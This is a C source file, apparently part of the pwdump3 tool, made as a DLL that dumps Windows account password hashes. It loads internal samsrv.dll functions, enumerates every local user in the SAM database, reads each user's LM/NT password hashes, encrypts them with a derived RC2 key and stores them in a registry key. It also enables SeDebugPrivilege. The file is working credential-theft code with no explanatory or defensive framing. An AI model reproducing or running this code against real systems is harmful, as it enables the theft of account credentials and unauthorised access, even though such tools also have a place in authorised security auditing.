/* Copyright ©2001 e-business technology, Inc. This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License Version 2, as published by the Free Software Foundation. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. The program may contain errors that could cause failures or loss of data, and may be incomplete or contain inaccuracies. By using the program, you expressly acknowledge and agree that use of the program, or any portion thereof, is at your sole and entire risk. You are solely responsible for determining the appropriateness of using, copying, distributing and modifying the program and assume all risks of exercising your rights under the license, compliance with all applicable laws, damage to or loss of data, programs or equipment, and unavailability or interruption of operations. THE COPYRIGHT HOLDERS AND/OR OTHER PARTIES EXPRESSLY DISCLAIM ALL WARRANTIES AND/OR CONDITIONS, EXPRESS OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES AND/OR CONDITIONS OF MERCHANTABILITY, OF SATISFACTORY QUALITY, OF FITNESS FOR A PARTICULAR PURPOSE, OF ACCURACY, OF QUIET ENJOYMENT, AND NONINFRINGEMENT OF THIRD PARTY RIGHTS. THE COPYRIGHT HOLDERS AND/OR OTHER PARTIES DO NOT WARRANT AGAINST INTERFERENCE WITH YOUR ENJOYMENT OF THE PROGRAM, THAT THE FUNCTIONS CONTAINED IN THE PROGRAM WILL MEET YOUR NEEDS, THAT THE OPERATION OF THE PROGRAM WILL BE UNINTERRUPTED OR ERROR-FREE, OR THAT DEFECTS IN THE PROGRAM WILL BE CORRECTED. THE DISCLAIMER OF WARRANTY CONSTITUTES AN ESSENTIAL PART OF THE LICENSE TO USE THE PROGRAM AND NO USE OF THE PROGRAM IS AUTHORIZED EXCEPT UNDER THE DISCLAIMER. ALSO, SOME JURISDICTIONS DO NOT ALLOW THE EXCLUSION OR LIMITATION OF INCIDENTAL OR CONSEQUENTIAL DAMAGES, SO THAT EXCLUSION AND LIMITATION MAY NOT APPLY TO YOU. See the GNU General Public License Version 2 for more details. You should have received a copy of the GNU General Public License Version 2 along with this program; if not, write to the Free Software Foundation, 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA. */ #include #include #include #include typedef DWORD HUSER; typedef DWORD HSAM; typedef DWORD HDOMAIN; typedef DWORD HUSER; typedef struct _sam_user_info { DWORD rid; LSA_UNICODE_STRING name; } SAM_USER_INFO; typedef struct _sam_user_enum { DWORD count; SAM_USER_INFO *users; } SAM_USER_ENUM; #define SAM_USER_INFO_PASSWORD_OWFS 0x12 // Samsrv functions typedef NTSTATUS (WINAPI *SamIConnectFunc) (DWORD, HSAM*, DWORD, DWORD); typedef NTSTATUS (WINAPI *SamrOpenDomainFunc) (HSAM, DWORD dwAccess, PSID, HDOMAIN*); typedef NTSTATUS (WINAPI *SamrOpenUserFunc) (HDOMAIN, DWORD dwAccess, DWORD, HUSER*); typedef NTSTATUS (WINAPI *SamrEnumerateUsersInDomainFunc) (HDOMAIN, DWORD*, DWORD, SAM_USER_ENUM**, DWORD, PVOID); typedef NTSTATUS (WINAPI *SamrQueryInformationUserFunc) (HUSER, DWORD, PVOID); typedef HLOCAL (WINAPI *SamIFree_SAMPR_USER_INFO_BUFFERFunc) (PVOID, DWORD); typedef HLOCAL (WINAPI *SamIFree_SAMPR_ENUMERATION_BUUFERFunc) (SAM_USER_ENUM*); typedef NTSTATUS (WINAPI *SamrCloseHandleFunc) (DWORD*); // Samsrv function pointers static SamIConnectFunc pSamIConnect; static SamrOpenDomainFunc pSamrOpenDomain; static SamrOpenUserFunc pSamrOpenUser; static SamrQueryInformationUserFunc pSamrQueryInformationUser; static SamrEnumerateUsersInDomainFunc pSamrEnumerateUsersInDomain; static SamIFree_SAMPR_USER_INFO_BUFFERFunc pSamIFree_SAMPR_USER_INFO_BUFFER; static SamIFree_SAMPR_ENUMERATION_BUUFERFunc pSamIFree_SAMPR_ENUMERATION_BUFFER; static SamrCloseHandleFunc pSamrCloseHandle; // crypto context handle; static HCRYPTPROV hCr = 0; DWORD __declspec(dllexport) initCrypto( ) { int rc = 0; // prepare for encryption of the hash data rc = CryptAcquireContext( &hCr, "pwdump3r", MS_DEF_PROV, PROV_RSA_FULL, CRYPT_NEWKEYSET ); if( !rc && GetLastError() == NTE_EXISTS ) rc = CryptAcquireContext( &hCr, "pwdump3r", MS_DEF_PROV, PROV_RSA_FULL, 0 ); return rc; } void __declspec(dllexport) closeCrypto( ) { CryptAcquireContext( &hCr, "pwdump3r", MS_DEF_PROV, PROV_RSA_FULL, CRYPT_DELETEKEYSET ); CryptReleaseContext( hCr, 0 ); } DWORD __declspec(dllexport) obfuscate( BYTE* data, DWORD* dataLen, DWORD id, BYTE* primkey, BOOL encrypt ) { // the buffer length for data is assumed to be 64 bytes // the primary key is the DH agreed key (also 64 bytes) HCRYPTHASH hHash; HCRYPTKEY hRc2Key; int i, mod; DWORD rc = 0; BYTE itemkey[16]; // item key is different for each user account // 16 bits of the item key come from the id - discard the 6 least significant bits itemkey[0] = (BYTE) (id >> 6); itemkey[1] = (BYTE) (id >> 14); // low order bits of the id determine which bits from the primary key to use mod = id & 0x3f; // extract remainder of the item key from the primary key for( i = 2; i < 16; i++ ) { itemkey[i] = primkey[mod]; mod = ++mod & 0x3f; } // hash the item key CryptCreateHash( hCr, CALG_MD5, 0, 0, &hHash ); CryptHashData( hHash, itemkey, sizeof(itemkey), 0 ); // create a key for encryption CryptDeriveKey( hCr, CALG_RC2, hHash, 0, &hRc2Key ); // now transform the data if( encrypt ) rc = CryptEncrypt( hRc2Key, 0, TRUE, 0, data, dataLen, 64 ); else rc = CryptDecrypt( hRc2Key, 0, TRUE, 0, data, dataLen ); // clean up CryptDestroyKey( hRc2Key ); CryptDestroyHash( hHash ); return rc; } // Extract the hash data and store it in the registry. int __declspec(dllexport) GetHash( char* szKeyName, BYTE* magic ) { LSA_OBJECT_ATTRIBUTES attributes; LSA_HANDLE hLsa = 0; PLSA_UNICODE_STRING pSysName = NULL; POLICY_ACCOUNT_DOMAIN_INFO* pDomainInfo; NTSTATUS rc, enumRc; char szBuffer[300]; HSAM hSam = 0; HDOMAIN hDomain = 0; HUSER hUser = 0; DWORD dwEnum = 0; DWORD dwNumber; SAM_USER_ENUM *pEnum = NULL; HKEY hk = 0; HINSTANCE hSamsrv; DWORD dataSize; int i; int ret = 1; // Open the output key if( RegOpenKeyEx( HKEY_LOCAL_MACHINE, szKeyName, 0, KEY_WRITE, &hk ) != ERROR_SUCCESS ) return ret; // Get Sam functions hSamsrv = LoadLibrary( "samsrv.dll" ); pSamIConnect = (SamIConnectFunc) GetProcAddress( hSamsrv, "SamIConnect" ); pSamrOpenDomain = (SamrOpenDomainFunc) GetProcAddress( hSamsrv, "SamrOpenDomain" ); pSamrOpenUser = (SamrOpenUserFunc) GetProcAddress( hSamsrv, "SamrOpenUser" ); pSamrQueryInformationUser = (SamrQueryInformationUserFunc) GetProcAddress( hSamsrv, "SamrQueryInformationUser" ); pSamrEnumerateUsersInDomain = (SamrEnumerateUsersInDomainFunc) GetProcAddress( hSamsrv, "SamrEnumerateUsersInDomain" ); pSamIFree_SAMPR_USER_INFO_BUFFER = (SamIFree_SAMPR_USER_INFO_BUFFERFunc) GetProcAddress( hSamsrv, "SamIFree_SAMPR_USER_INFO_BUFFER" ); pSamIFree_SAMPR_ENUMERATION_BUFFER = (SamIFree_SAMPR_ENUMERATION_BUUFERFunc) GetProcAddress( hSamsrv, "SamIFree_SAMPR_ENUMERATION_BUFFER" ); pSamrCloseHandle = (SamrCloseHandleFunc) GetProcAddress( hSamsrv, "SamrCloseHandle" ); if( !pSamIConnect || !pSamrOpenDomain || !pSamrOpenUser || !pSamrQueryInformationUser || !pSamrEnumerateUsersInDomain || !pSamIFree_SAMPR_USER_INFO_BUFFER || !pSamIFree_SAMPR_ENUMERATION_BUFFER || !pSamrCloseHandle ) { char* p = "Failed to load functions."; RegSetValueEx( hk, "Status", 0, REG_SZ, (BYTE*)p, strlen( p ) ); goto exit; } // prepare for encryption of the hash data if( !initCrypto() ) { sprintf( szBuffer, "CryptAcquireContext failed: 0x%08x", GetLastError() ); RegSetValueEx( hk, "Status", 0, REG_SZ, (BYTE*)szBuffer, strlen( szBuffer ) ); goto exit; } // Open the Policy database memset( &attributes, 0, sizeof(LSA_OBJECT_ATTRIBUTES) ); attributes.Length = sizeof(LSA_OBJECT_ATTRIBUTES); // Get policy handle rc = LsaOpenPolicy( pSysName, &attributes, POLICY_ALL_ACCESS, &hLsa ); if( rc < 0 ) { sprintf( szBuffer, "LsaOpenPolicy failed: 0x%08x", rc ); RegSetValueEx( hk, "Status", 0, REG_SZ, (BYTE*)szBuffer, strlen( szBuffer ) ); goto exit; } // Get Domain Info rc = LsaQueryInformationPolicy( hLsa, PolicyAccountDomainInformation, &pDomainInfo ); if( rc < 0 ) { sprintf( szBuffer, "LsaQueryInformationPolicy failed: 0x%08x", rc ); RegSetValueEx( hk, "Status", 0, REG_SZ, (BYTE*)szBuffer, strlen( szBuffer ) ); goto exit; } // Connect to the SAM database rc = pSamIConnect( 0, &hSam, MAXIMUM_ALLOWED, 1 ); if( rc < 0 ) { sprintf( szBuffer, "SamConnect failed : 0x%08x", rc ); RegSetValueEx( hk, "Status", 0, REG_SZ, (BYTE*)szBuffer, strlen( szBuffer ) ); goto exit; } rc = pSamrOpenDomain( hSam, 0xf07ff, pDomainInfo->DomainSid, &hDomain ); if( rc < 0 ) { sprintf( szBuffer, "SamOpenDomain failed : 0x%08x", rc ); RegSetValueEx( hk, "Status", 0, REG_SZ, (BYTE*)szBuffer, strlen( szBuffer ) ); hDomain = 0; goto exit; } do { enumRc = pSamrEnumerateUsersInDomain( hDomain, &dwEnum, 0, &pEnum, 1000, &dwNumber ); if( enumRc == 0 || enumRc == 0x105 ) { for( i = 0; i < (int)dwNumber; i++ ) { CHAR szUserName[256]; BYTE hashData[64]; DWORD dwSize; PVOID pHashData = 0; memset( szUserName, 0, sizeof(szUserName) ); // Open the user (by Rid) rc = pSamrOpenUser( hDomain, MAXIMUM_ALLOWED, pEnum->users[i].rid, &hUser ); if( rc < 0 ) { sprintf( szBuffer, "SamrOpenUser(0x%x) failed: 0x%08x", pEnum->users[i].rid, rc ); RegSetValueEx( hk, "Status", 0, REG_SZ, (BYTE*)szBuffer, strlen( szBuffer ) ); continue; } // Get the password OWFs rc = pSamrQueryInformationUser( hUser, SAM_USER_INFO_PASSWORD_OWFS, &pHashData ); if( rc < 0 ) { sprintf( szBuffer, "SamrQueryInformationUser failed: 0x%08x", rc ); RegSetValueEx( hk, "Status", 0, REG_SZ, (BYTE*)szBuffer, strlen( szBuffer ) ); pSamrCloseHandle( &hUser ); hUser = 0; continue; } // Convert the username and rid dwSize = min( sizeof(szUserName), pEnum->users[i].name.Length >> 1 ); wcstombs( szUserName, pEnum->users[i].name.Buffer, dwSize ); sprintf( szUserName, "%s:%d", szUserName, pEnum->users[i].rid ); // Convert the user data dataSize = 32; memcpy( hashData, pHashData, dataSize ); if( !obfuscate( hashData, &dataSize, pEnum->users[i].rid, magic, TRUE ) ) { sprintf( szBuffer, "Obbfuscate(0x%x) failed: 0x%08x", pEnum->users[i].rid, rc ); RegSetValueEx( hk, "Status", 0, REG_SZ, (BYTE*)szBuffer, strlen( szBuffer ) ); continue; } else RegSetValueEx( hk, szUserName, 0, REG_BINARY, hashData, dataSize ); // Free stuff pSamIFree_SAMPR_USER_INFO_BUFFER( pHashData, SAM_USER_INFO_PASSWORD_OWFS ); pHashData = 0; pSamrCloseHandle( &hUser ); hUser = 0; } pSamIFree_SAMPR_ENUMERATION_BUFFER( pEnum ); pEnum = NULL; } else { sprintf( szBuffer, "SamrEnumerateUsersInDomain failed: 0x%08x", enumRc ); RegSetValueEx( hk, "Status", 0, REG_SZ, (BYTE*)szBuffer, strlen( szBuffer ) ); } } while( enumRc == 0x105 ); ret = 0; exit: // Clean up closeCrypto(); if( hUser ) pSamrCloseHandle( &hUser ); if( hDomain ) pSamrCloseHandle( &hDomain ); if( hSam ) pSamrCloseHandle( &hSam ); if( hLsa ) LsaClose( hLsa ); if( hk ) RegCloseKey( hk ); if( hSamsrv ) FreeLibrary( hSamsrv ); return ret; } // Try to enable the debug privilege DWORD __declspec(dllexport) SetAccessPriv( HKEY hk ) { HANDLE hToken = 0; DWORD dwError = 0; TOKEN_PRIVILEGES privileges; char szBuffer[64]; if( !OpenProcessToken( GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES, &hToken ) ) { dwError = GetLastError(); sprintf( szBuffer, "Unable to open process token: %d\n", dwError ); RegSetValueEx( hk, "Status", 0, REG_SZ, (BYTE*)szBuffer, strlen( szBuffer ) ); goto exit; } if( !LookupPrivilegeValue( NULL, SE_DEBUG_NAME, &privileges.Privileges[0].Luid ) ) { dwError = GetLastError(); sprintf( szBuffer, "Unable to lookup privilege: %d\n", dwError ); RegSetValueEx( hk, "Status", 0, REG_SZ, (BYTE*)szBuffer, strlen( szBuffer ) ); goto exit; } privileges.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; privileges.PrivilegeCount = 1; if( !AdjustTokenPrivileges( hToken, FALSE, &privileges, 0, NULL, NULL ) ) { dwError = GetLastError(); sprintf( szBuffer, "Unable to adjust token privileges: %d\n", dwError ); RegSetValueEx( hk, "Status", 0, REG_SZ, (BYTE*)szBuffer, strlen( szBuffer ) ); goto exit; } exit: if( hToken ) CloseHandle( hToken ); return dwError; }